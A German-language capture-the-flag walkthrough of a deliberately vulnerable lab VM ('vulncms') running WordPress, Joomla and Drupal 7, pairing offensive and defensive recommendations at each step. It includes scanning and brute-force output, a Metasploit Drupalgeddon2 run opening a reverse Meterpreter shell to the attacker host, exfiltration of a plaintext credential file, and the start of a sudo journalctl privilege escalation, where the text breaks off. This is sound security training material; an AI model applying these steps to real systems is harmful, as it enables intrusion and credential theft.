Analyse: Ein ARP-Scan wird durchgeführt, um aktive Hosts im lokalen Netzwerk zu finden.
Bewertung: Das Zielsystem wird unter der IP `192.168.2.127` identifiziert. Die MAC-Adresse (`08:00:27:3c:22:7a`) gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): Die IP-Adresse für nachfolgende Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung implementieren.
192.168.2.127 08:00:27:3c:22:7a PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.127` wird dem Hostnamen `vulncms.vuln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Vereinfacht die Adressierung des Ziels in späteren Schritten.
Empfehlung (Offensiv): Eine nützliche Vorgehensweise zur Verbesserung der Lesbarkeit.
Empfehlung (Defensiv): Keine direkten Auswirkungen auf das Ziel.
192.168.2.127 vulncms.vuln
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -AO -p-`) wird gegen das Ziel durchgeführt.
Bewertung: Der Scan enthüllt eine überraschend große Anzahl offener HTTP-Ports, die von Nginx bedient werden, sowie SSH:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 22:54 CEST Nmap scan report for vulncms.vuln (192.168.2.127) Host is up (0.000095s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA) | 256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA) |_ 256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: W3.CSS Template 5000/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-generator: WordPress 5.7.2 |_http-title: fsociety – Just another WordPress site 8081/tcp open http nginx 1.14.0 (Ubuntu) | http-robots.txt: 15 disallowed entries | /joomla/administrator/ /administrator/ /bin/ /cache/ | /cli/ /components/ /includes/ /installation/ /language/ |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Home |_http-generator: Joomla! - Open Source Content Management 9001/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: fsociety.web |_http-generator: Drupal 7 (http://drupal.org) MAC Address: 08:00:27:3C:22:7A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.09 ms vulncms.vuln (192.168.2.127) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds
Analyse: Die Nmap-Ausgabe wird gefiltert, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt die fünf offenen Ports: 22, 80, 5000, 8081, 9001.
Empfehlung (Offensiv): Systematische Untersuchung aller Web-Ports.
Empfehlung (Defensiv): Überprüfung der Notwendigkeit aller offenen Ports.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 (Ubuntu) 5000/tcp open http nginx 1.14.0 (Ubuntu) 8081/tcp open http nginx 1.14.0 (Ubuntu) 9001/tcp open http nginx 1.14.0 (Ubuntu)
Analyse: Ein Gobuster-Scan wird gegen das Verzeichnis `/vulnerable` auf Port 80 durchgeführt. *Hinweis: Der Befehl zielt auf Port 80 (Standard), nicht auf die später gefundenen CMS-Ports.*
Bewertung: Der Scan findet mehrere HTML-Dateien (`index`, `about`, `home`) und eine `robots.txt`. Interessanter ist der Fund des Verzeichnisses `/vulnerable` (das auf `/vulnerable/` weiterleitet) und mehrerer Bilddateien (`image1.png` bis `image5.jpg`) darin.
Empfehlung (Offensiv): Den Inhalt von `robots.txt` prüfen. Die HTML-Seiten nach Hinweisen durchsuchen. Die Bilddateien im `/vulnerable`-Verzeichnis herunterladen und auf versteckte Informationen (Metadaten, Steganographie) untersuchen.
Empfehlung (Defensiv): Verzeichnisse wie `/vulnerable` sollten nicht ohne Grund exponiert werden. Metadaten und versteckte Informationen aus öffentlich zugänglichen Dateien entfernen.
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://vulncms.vuln/vulnerable [...] =============================================================== 2023/06/07 22:50:10 Starting gobuster in directory enumeration mode =============================================================== http://vulncms.vuln/vulnerable/image2.jpg (Status: 200) [Size: 14699] http://vulncms.vuln/vulnerable/image1.png (Status: 200) [Size: 1359183] http://vulncms.vuln/vulnerable/image3.jpg (Status: 200) [Size: 156618] http://vulncms.vuln/vulnerable/image4.jpg (Status: 200) [Size: 95655] http://vulncms.vuln/vulnerable/image5.jpg (Status: 200) [Size: 359426] http://vulncms.vuln/index.html (Status: 200) [Size: 6057] http://vulncms.vuln/about.html (Status: 200) [Size: 815] http://vulncms.vuln/home.html (Status: 200) [Size: 3141] http://vulncms.vuln/robots.txt (Status: 200) [Size: 53] http://vulncms.vuln/vulnerable (Status: 301) [Size: 194] [--> http://vulncms.vuln/vulnerable/] =============================================================== 2023/06/07 22:52:30 Finished ===============================================
Analyse: Nikto wird gegen den Webserver auf Port 80 ausgeführt.
Bewertung: Findet die üblichen Probleme (fehlende Header, veralteter Nginx), bestätigt `robots.txt` und meldet eine verdächtige `/#wp-config.php#` (wahrscheinlich Irreführung). Keine spezifischen Schwachstellen für die Hauptseite.
Empfehlung (Offensiv): Fokus auf die anderen Ports und die Bilder aus `/vulnerable`.
Empfehlung (Defensiv): Nginx aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 80 + Start Time: 2023-06-07 22:54:34 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.14.0 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present + /: The X-Content-Type-Options header is not set. This could allow the user ... + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: Entry '' is returned a non-forbidden or redirect HTTP code (200). + nginx/1.14.0 appears to be outdated (current is at least 1.20.1). + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8103 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2023-06-07 22:54:53 (GMT2) (19 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Das Tool `stegseek` wird verwendet, um in der Datei `image4.jpg` (aus `/vulnerable`) nach versteckten Daten zu suchen, wobei die Passwortliste `rockyou.txt` verwendet wird.
Bewertung: `stegseek` ist erfolgreich und findet das Passwort `123456789`. Es extrahiert die versteckte Datei unter dem Originalnamen `wp_pass.txt` in die Ausgabedatei `image4.jpg.out`.
Empfehlung (Offensiv): Den Inhalt der extrahierten Datei `image4.jpg.out` (bzw. `wp_pass.txt` im nächsten Schritt) analysieren.
Empfehlung (Defensiv): Keine sensiblen Informationen mittels Steganographie in öffentlich zugänglichen Bildern verstecken, insbesondere nicht mit schwachen Passwörtern.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "123456789"
[i] Original filename: "wp_pass.txt".
[i] Extracting to "image4.jpg.out".
Analyse: Der Inhalt der von `stegseek` extrahierten Datei (`image4.jpg.out`) wird angezeigt.
Bewertung: Enthält den Text "Random URLs are helpful but 5000 times". Dies ist ein klarer Hinweis auf den Port 5000, auf dem Nmap eine WordPress-Instanz gefunden hat.
Empfehlung (Offensiv): Den WordPress-Blog auf Port 5000 (`http://vulncms.vuln:5000`) genauer untersuchen.
Empfehlung (Defensiv): Keine Hinweise in versteckten Dateien ablegen.
Random URLs are helpful but 5000 times
Analyse: Alternativ wird `steghide` verwendet, um die Daten aus `image4.jpg` zu extrahieren. Es fragt nach dem Passwort (implizit wird `123456789` eingegeben) und extrahiert die Datei `wp_pass.txt`.
Bewertung: Bestätigt das Ergebnis von `stegseek`. Der Inhalt von `wp_pass.txt` ist derselbe Hinweis auf Port 5000.
Empfehlung (Offensiv): Fokus auf Port 5000.
Empfehlung (Defensiv): Siehe oben.
Passwort eingeben: 123456789
Extrahierte Daten wurden nach "wp_pass.txt" geschrieben.
Random URLs are helpful but 5000 times
Analyse: Der Inhalt von `robots.txt` (Port 80), `home.html` (Port 80) und `about.html` (Port 80) wird angezeigt.
Bewertung: `robots.txt` verbietet `/home.html` und `/about.html`. `home.html` enthält den Hinweis `-fsociety.web`, was ein möglicher Hostname für eine der anderen Instanzen (vermutlich Drupal auf 9001 oder WordPress auf 5000) ist. `about.html` enthält Zitate, die auf Social Engineering hindeuten und davon abraten, Brute-Force zu verwenden.
Empfehlung (Offensiv): Den Hostnamen `fsociety.web` der lokalen `/etc/hosts`-Datei hinzufügen und prüfen, ob er auf eine der Instanzen (5000 oder 9001) verweist. Die Warnung vor Brute-Force ernst nehmen, aber nicht vollständig ausschließen.
Empfehlung (Defensiv): Keine potenziellen Hostnamen oder Meta-Hinweise in öffentlichen Dateien hinterlassen.
http://vulncms.vuln/robots.txt User-agent: * Disallowed: /home.html Disallowed: /about.html ----------------------------------------------------------------------------------- http://vulncms.vuln/home.html -fsociety.web ----------------------------------------------------------------------------------- http://vulncms.vuln/about.html About Us Mobley: People are all just people, right? When it gets down to it, everyone’s the same. They love something. They want something. They fear something. Specifics help, but specifics don’t change the way that everyone is vulnerable. It just changes the way that we access those vulnerabilities. Elloit: Don't try to brute force the vulnerable stuff, it doesn't work everytime.
Analyse: `curl` wird gegen Port 8081 (Joomla) ausgeführt und die Ausgabe nach `php` gefiltert.
Bewertung: Findet Links zu `/index.php/component/users/?view=remind` und `...reset`. Dies bestätigt, dass es sich um eine PHP-Anwendung handelt (was Nmap bereits andeutete) und zeigt Standard-Joomla-Pfade für Passwort-Resets.
Empfehlung (Offensiv): Die Joomla-Instanz auf bekannte Schwachstellen prüfen (Version? Nicht von Nmap erkannt).
Empfehlung (Defensiv): Joomla und Erweiterungen aktuell halten.
Analyse: Beim erneuten Aufruf von Port 8081 wird ein SQL-Fehler angezeigt: "Disk full (/tmp/#sql_47e_1.MAI); waiting for someone to free some space...". Die vollständige SQL-Abfrage wird ebenfalls ausgegeben.
Bewertung: Dies ist eine kritische Information Disclosure. Der Fehler "Disk full" deutet auf ein Ressourcenproblem hin (volles `/tmp`-Verzeichnis). Die offenbarte SQL-Abfrage gibt Einblick in die Datenbankstruktur (Tabellennamen wie `hs23w_content`, `hs23w_categories`, `hs23w_users`) von Joomla. Der Dateiname `#sql_47e_1.MAI` ist ein temporärer MySQL-Index/Daten-Dateiname.
Empfehlung (Offensiv): Versuchen, das `/tmp`-Verzeichnis zu füllen, um Fehler zu provozieren (DoS, schwierig). Die Datenbankstruktur für mögliche spätere Angriffe (z.B. SQL Injection, falls ein Vektor gefunden wird) nutzen. Prüfen, ob `/tmp` über einen anderen Weg (z.B. LFI) lesbar ist.
Empfehlung (Defensiv): Detaillierte Fehlermeldungen in Produktionsumgebungen deaktivieren. Speicherplatz-Monitoring implementieren. `/tmp` härten (z.B. `noexec`, `nosuid`).
http://vulncms.vuln:8081/ Error Disk full (/tmp/#sql_47e_1.MAI); waiting for someone to free some space... (errno: 28 "No space left on device") SQL=SELECT a.id, a.title, a.alias, a.introtext, a.fulltext, a.checked_out, [...] (Lange SQL Query) ORDER BY c.lft, a.featured DESC, fp.ordering, CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END DESC , a.created DESC LIMIT 0, 4
Analyse: Es wird versucht, die temporäre SQL-Datei direkt über den Webserver (`/tmp/...`) aufzurufen.
Bewertung: Es wird nur eine leere Indexdatei angezeigt. Der direkte Zugriff auf `/tmp` über den Webserver ist nicht möglich.
Empfehlung (Offensiv): Andere Methoden suchen (LFI etc.).
Empfehlung (Defensiv): Sicherstellen, dass Verzeichnisse wie `/tmp` nicht über den Webserver erreichbar sind.
view-source:http://vulncms.vuln:8081/tmp/#sql_47e_1.MAI http://vulncms.vuln:8081/tmp/index.html (Status: 200) [Size: 31]
Analyse: Zugriff auf Port 9001 (Drupal). Zeigt eine Login-Seite. Der Zugriff auf `/user/1` (typischer Admin-Account) wird verweigert.
Bewertung: Standard-Drupal-Verhalten. Kein direkter Angriffsvektor hier.
Empfehlung (Offensiv): Drupal-Version (7) beachten und nach bekannten Exploits suchen.
Empfehlung (Defensiv): Drupal und Module aktuell halten.
http://vulncms.vuln:9001/?q=user/1 User login Username * Password * Create new account Request new password Access denied You are not authorized to access this page
Analyse: `wfuzz` wird verwendet, um LFI auf Port 8081 (Joomla) zu testen, indem versucht wird, `/etc/passwd` über verschiedene Parameter zu inkludieren.
Bewertung: Der Scan liefert nur 500er-Fehler für einige Parameter, aber keinen erfolgreichen LFI (kein Inhalt von `/etc/passwd`). Die 500er könnten wieder mit dem "Disk full"-Problem zusammenhängen.
Empfehlung (Offensiv): LFI scheint hier nicht direkt erfolgreich zu sein. Andere Vektoren priorisieren.
Empfehlung (Defensiv): LFI durch sichere Programmierung (keine direkten Benutzereingaben in `include`/`require`) und Konfiguration (z.B. `allow_url_include=Off`) verhindern.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://vulncms.vuln:8081/index.php?FUZZ=../../../../etc/passwd [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000106143: 500 0 L 12 W 97 Ch "feds3" 000106156: 500 0 L 12 W 97 Ch "microsoft_nsa" 000106155: 500 0 L 12 W 97 Ch "1165685723472" 000106154: 500 0 L 12 W 97 Ch "OTG-Afghanistan" [...] Total requests: XXXXXX Filtered requests: XXXXXX Total time: XXXXXX Processed Words: XXXXXX Requests/sec: XXXXXX
Analyse: Ein Gobuster-Scan gegen Port 9001 (Drupal) wird gezeigt.
Bewertung: Findet viele Standard-Drupal-Pfade und -Dateien (`misc`, `themes`, `modules`, `sites`, `includes`, `profiles`, `install.php`, `README.txt`, etc.). Bestätigt, dass es sich um eine Drupal-Installation handelt.
Empfehlung (Offensiv): Drupal 7 ist bekannt für kritische Schwachstellen (Drupalgeddon 1, 2, 3). Dies ist ein sehr vielversprechender Angriffsvektor.
Empfehlung (Defensiv): Drupal und alle Module dringend auf die neuesten Versionen aktualisieren.
gobuster http://vulncms.vuln:9001/index.php (Status: 200) [Size: 15892] http://vulncms.vuln:9001/misc (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/misc/] http://vulncms.vuln:9001/themes (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/themes/] http://vulncms.vuln:9001/modules (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/modules/] http://vulncms.vuln:9001/scripts (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/scripts/] http://vulncms.vuln:9001/sites (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/sites/] http://vulncms.vuln:9001/includes (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/includes/] http://vulncms.vuln:9001/install.php (Status: 200) [Size: 3257] http://vulncms.vuln:9001/profiles (Status: 301) [Size: 194] [--> http://vulncms.vuln:9001/profiles/] http://vulncms.vuln:9001/README.txt (Status: 200) [Size: 5382] http://vulncms.vuln:9001/INSTALL.txt (Status: 200) [Size: 17995] http://vulncms.vuln:9001/LICENSE.txt (Status: 200) [Size: 18092] http://vulncms.vuln:9001/CHANGELOG.txt (Status: 200) [Size: 110781] http://vulncms.vuln:9001/xmlrpc.php (Status: 200) [Size: 42] http://vulncms.vuln:9001/COPYRIGHT.txt (Status: 200) [Size: 1481] http://vulncms.vuln:9001/UPGRADE.txt (Status: 200) [Size: 10123] [...]
Analyse: Untersuchung der WordPress-Instanz auf Port 5000 über den Hostnamen `fsociety.web`. Der Quelltext eines oEmbed-Links (`/wp-json/oembed/1.0/embed?url=...`) wird angezeigt.
Bewertung: Das JSON-Ergebnis des oEmbed-Links bestätigt den Benutzernamen `wordpress_admin`.
Empfehlung (Offensiv): Den Benutzernamen `wordpress_admin` für Brute-Force-Angriffe auf den WP-Login (`/wp-login.php` auf Port 5000) verwenden.
Empfehlung (Defensiv): Die WordPress REST API und oEmbed einschränken, wenn nicht benötigt, um Informationslecks zu minimieren.
192.168.2.127 vulncms.vuln fsociety.web Published May 28, 2021By wordpress_admin ----------------------------------------------------------------------------------- view-source:http://fsociety.web:5000/wp-json/oembed/1.0/embed?url=http%3A%2F%2Ffsociety.web%3A5000%2Fhello-world%2F {"version":"1.0", "provider_name":"fsociety", "provider_url":"http:\/\/fsociety.web:5000", "author_name":"wordpress_admin", "author_url":"http:\/\/fsociety.web:5000\/author\/wordpress_admin\/", "title":"Hello world!", "type":"rich", "width":600, "height":338, "html":"
Analyse: Die JSON-Ausgabe wird formatiert und die relevanten Felder wie `id`, `name`, `link`, `slug` für `wordpress_admin` werden extrahiert.
Bewertung: Bestätigt erneut den Benutzernamen `wordpress_admin` (ID 1).
Empfehlung (Offensiv): Mit WPScan oder Hydra versuchen, das Passwort für `wordpress_admin` zu finden.
Empfehlung (Defensiv): Benutzer-Enumeration über die REST API erschweren.
{"id":1
"name":"wordpress_admin"
"url":"http:\/\/192.168.29.217:5000"
"description":""
"link":"http:\/\/fsociety.web:5000\/author\/wordpress_admin\/"
"slug":"wordpress_admin"
"avatar_urls":{"24":"http:\/\/0.gravatar.com\/avatar\/3c2e152685085839fd90d8d626c5de27?s=24&d=mm&r=g"
"48":"http:\/\/0.gravatar.com\/avatar\/3c2e152685085839fd90d8d626c5de27?s=48&d=mm&r=g"
"96":"http:\/\/0.gravatar.com\/avatar\/3c2e152685085839fd90d8d626c5de27?s=96&d=mm&r=g"}
"meta":[]
"_links":{"self":[{"href":"http:\/\/fsociety.web:5000\/wp-json\/wp\/v2\/users\/1"}]
"collection":[{"href":"http:\/\/fsociety.web:5000\/wp-json\/wp\/v2\/users"}]}}
Analyse: Manuelle Login-Versuche auf dem WordPress-Login (`/wp-login.php` auf Port 5000) für `wordpress_admin` mit dem Passwort `admin` und für den Benutzernamen `fsociety` scheitern.
Bewertung: Bestätigt, dass einfache Standardpasswörter nicht funktionieren.
Empfehlung (Offensiv): Systematischen Brute-Force-Angriff starten.
Empfehlung (Defensiv): Starke Passwörter verwenden, Login-Versuche begrenzen (Fail2Ban), keine leicht erratbaren Benutzernamen.
wordpress login
Error: The password you entered for the
username wordpress_admin is incorrect.
Lost your password?
Username or Email Address
wordpress_admin
Password
admin
fsociety
Unknown username. Check again or try your email address.
Analyse: WPScan wird verwendet, um die WordPress-Instanz auf Port 5000 zu scannen, wobei der Benutzer `wordpress_admin` angegeben wird.
Bewertung: WPScan identifiziert die WordPress-Version 5.7.2 und listet zahlreiche bekannte Schwachstellen für diese Version und darunter auf (XSS, SSRF, Content Injection, Directory Traversal). Keine Plugins werden gefunden. Der Scan bestätigt, dass es sich um eine Multisite-Installation handelt.
Empfehlung (Offensiv): Die aufgelisteten Schwachstellen recherchieren und prüfen, ob Exploits verfügbar sind. Da jedoch Drupal 7 auf Port 9001 läuft, ist dies möglicherweise ein einfacherer Vektor.
Empfehlung (Defensiv): WordPress dringend auf die neueste Version aktualisieren.
_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team [...] _______________________________________________________________ [+] URL: http://fsociety.web:5000/ [192.168.2.127] [+] Started: Thu Jun 8 00:49:09 2023 Interesting Finding(s): [+] Headers | Interesting Entry: Server: nginx/1.14.0 (Ubuntu) [...] [+] WordPress Version 5.7.2 Identified (Latest: X.X.X) [...] [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget [...] [i] The main theme could not be detected. [...] [+] Finished: Thu Jun 8 00:49:18 2023 [...]
Analyse: WPScan wird erneut gestartet, diesmal um das Passwort für `wordpress_admin` mit `rockyou.txt` zu brute-forcen. Der Scan wird vom Benutzer abgebrochen.
Bewertung: Zeigt einen Versuch, das Passwort zu knacken, der aber entweder zu lange dauerte oder als aussichtslos erachtet wurde.
Empfehlung (Offensiv): Andere Angriffsvektoren (Drupal, Joomla) priorisieren, da Brute-Force hier nicht direkt zum Erfolg führte.
Empfehlung (Defensiv): Login-Versuche begrenzen, um Brute-Force zu erschweren.
[...] [i] No Valid Passwords Found. [...] Scan Aborted: Canceled by User
Analyse: `searchsploit` wird verwendet, um nach Exploits für Drupal 7 zu suchen.
Bewertung: Es werden zahlreiche Exploits gefunden, darunter mehrere für "Drupalgeddon" (SQLi) und "Drupalgeddon2" (RCE) sowie "Drupalgeddon3" (RCE). Drupalgeddon2 (CVE-2018-7600) ist eine bekannte und oft zuverlässige Remote Code Execution Schwachstelle für Drupal 7.
Empfehlung (Offensiv): Einen der Drupalgeddon-Exploits (insbesondere Drupalgeddon2) gegen die Instanz auf Port 9001 ausprobieren.
Empfehlung (Defensiv): Drupal dringend patchen.
--------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------- --------------------------------- [...] Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Adm | php/webapps/34992.py [...] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgedd | php/webapps/44449.rb <-- Drupalgeddon2 [...] --------------------------------------------------------- ---------------------------------
Analyse: Der Pentester kopiert einen lokalen Exploit (35150.php - Drupalgeddon SQLi RCE) in das aktuelle Verzeichnis.
Bewertung: Dies bereitet die Verwendung eines spezifischen Exploits vor, obwohl im nächsten Schritt Metasploit verwendet wird.
Empfehlung (Offensiv): Entweder diesen Exploit manuell anpassen und verwenden oder auf Metasploit zurückgreifen.
Empfehlung (Defensiv): Drupal patchen.
Exploit: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) URL: https://www.exploit-db.com/exploits/35150 Path: /usr/share/exploitdb/exploits/php/webapps/35150.php Codes: CVE-2014-3704, OSVDB-113371 Verified: True File Type: PHP script, Unicode text, UTF-8 text Copied to: /root/35150.php
Analyse: Metasploit wird gestartet und nach Drupal 7 Exploits gesucht. Das Modul `exploit/unix/webapp/drupal_drupalgeddon2` wird ausgewählt. Die Optionen werden konfiguriert: `RHOSTS` auf die Ziel-IP, `RPORT` auf 9001 (Drupal-Port), `LHOST` auf die Angreifer-IP, `LPORT` auf 1234. Der Exploit wird ausgeführt.
Bewertung: Das Modul prüft erfolgreich die Verwundbarkeit ([+] The target is vulnerable.). Der Exploit wird ausgeführt und öffnet eine Meterpreter-Session. Anschließend wird mittels `shell` eine System-Shell als Benutzer `www-data` erlangt.
Ergebnis: Erfolgreicher Initial Access! Durch Ausnutzen von Drupalgeddon2 wurde eine Shell als `www-data` erlangt.
Empfehlung (Offensiv): Die `www-data`-Shell für weitere Enumeration und Privilegieneskalation nutzen.
Empfehlung (Defensiv): Drupal umgehend patchen, um Drupalgeddon2 (CVE-2018-7600) zu schließen.
[...] msf6 > search Drupal 7 [...] # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- [...] 1 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection [...] msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options [...] Module options (exploit/unix/webapp/drupal_drupalgeddon2): Name Current Setting Required Description ---- --------------- -------- ----------- [...] RHOSTS yes The target host(s), [...] RPORT 80 yes The target port (TCP) [...] Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address [...] LPORT 4444 yes The listen port [...] msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set PHP_FUNC passthru PHP_FUNC => passthru msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.2.127 RHOSTS => 192.168.2.127 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 9001 RPORT => 9001 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.2.113 LHOST => 192.168.2.113 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LPORT 1234 LPORT => 1234 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run [*] Started reverse TCP handler on 192.168.2.113:1234 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Sending stage (39927 bytes) to 192.168.2.127 [*] Meterpreter session 1 opened (192.168.2.113:1234 -> 192.168.2.127:41972) at 2023-06-08 01:00:19 +0200 meterpreter > shell Process 12844 created. Channel 0 created.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: In der `www-data`-Shell wird das Verzeichnis `/opt` untersucht. Dort wird eine Datei `8081.cred` gefunden. Ein Python HTTP-Server wird gestartet, um die Datei herunterzuladen.
Bewertung: Das Finden von Credential-Dateien in ungewöhnlichen Verzeichnissen wie `/opt` ist ein häufiger Fund in CTFs. Die Datei `8081.cred` deutet auf Zugangsdaten für die Joomla-Instanz auf Port 8081 hin.
Empfehlung (Offensiv): Die Datei herunterladen und ihren Inhalt analysieren.
Empfehlung (Defensiv): Keine Credential-Dateien im Klartext speichern, schon gar nicht in leicht zugänglichen Verzeichnissen. Konfigurationsmanagement-Tools oder Secrets Manager verwenden.
total 12 drwxr-xr-x 2 root root 4096 May 31 2021 . drwxr-xr-x 24 root root 4096 Jun 7 21:20 .. -rw-r--r-- 1 root root 69 May 31 2021 8081.cred
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.113 - - [07/Jun/2023 23:07:08] "GET /8081.cred HTTP/1.1" 200 -
Analyse: Auf der Angreifer-Maschine wird die Datei `8081.cred` mittels `wget` vom Python-Server heruntergeladen.
Bewertung: Erfolgreiche Exfiltration der Credential-Datei.
--2023-06-08 01:07:04-- http://192.168.2.127:8000/8081.cred Connecting to 192.168.2.127:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 69 [application/octet-stream] Saving to: '8081.cred' 8081.cred 100%[=============================>] 69 --.-KB/s in 0s 2023-06-08 01:07:04 (180 KB/s) - '8081.cred' saved [69/69]
Analyse: Der Inhalt der heruntergeladenen Datei `8081.cred` wird angezeigt.
Bewertung: Die Datei enthält Zugangsdaten für Joomla: Username: `joomlaCMS_admin`, Password: `_q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR`.
Empfehlung (Offensiv): Diese Zugangsdaten ausprobieren, um sich im Joomla-Backend (Port 8081) anzumelden. Dies könnte weitere Rechte oder Informationen liefern. *Hinweis: Der weitere Bericht folgt diesem Pfad nicht, wahrscheinlich weil der Drupal-Exploit bereits eine Shell gab.*
Empfehlung (Defensiv): Keine Klartext-Credentials speichern.
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR
Analyse: Zurück in der `www-data`-Shell werden die Home-Verzeichnisse und Netzwerkverbindungen erneut überprüft.
Bewertung: `ls -la /home/` zeigt die Benutzer `elliot`, `ghost`, `tyrell`. `ss -atlpn` bestätigt die bekannten lauschenden Ports (80, 8081, 53, 22, 5000, 9001) und zusätzlich einen MySQL-Server auf `127.0.0.1:3306`.
Empfehlung (Offensiv): Die Existenz der Benutzer `elliot`, `ghost`, `tyrell` (Mr. Robot Thema) zur Kenntnis nehmen. Prüfen, ob auf die lokale MySQL-Datenbank zugegriffen werden kann (Credentials aus CMS-Konfigurationsdateien?).
Empfehlung (Defensiv): Datenbanken sollten nur lokal lauschen, wenn kein externer Zugriff benötigt wird. Zugriff absichern.
total 20 drwxr-xr-x 5 root root 4096 May 31 2021 . drwxr-xr-x 24 root root 4096 Jun 7 21:20 .. drwxr-xr-x 4 elliot root 4096 May 31 2021 elliot drwxr-xr-x 5 ghost root 4096 Jun 1 2021 ghost drwxr-xr-x 4 tyrell root 4096 Jun 1 2021 tyrell
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 0.0.0.0:80 0.0.0.0:* LISTEN 0 128 0.0.0.0:8081 0.0.0.0:* LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 128 0.0.0.0:5000 0.0.0.0:* LISTEN 0 128 0.0.0.0:9001 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Der Text springt zur Überprüfung der `sudo`-Rechte für den Benutzer `tyrell`. Es ist unklar, wie der Wechsel von `www-data` zu `tyrell` erfolgte. Möglicherweise wurden die Joomla-Credentials (`joomlaCMS_admin:...?L@N7-pR`) oder andere, nicht gezeigte Informationen verwendet, um Zugriff auf `tyrell` zu erlangen.
Bewertung: `sudo -l` für `tyrell` zeigt, dass dieser Benutzer `/bin/journalctl` als `root` ohne Passwort (`NOPASSWD`) ausführen darf. Dies ist ein bekannter Vektor zur Privilegieneskalation.
Empfehlung (Offensiv): Den `journalctl`-Befehl mit `sudo` ausführen und innerhalb des Pagers (standardmäßig `less`) eine Shell spawnen.
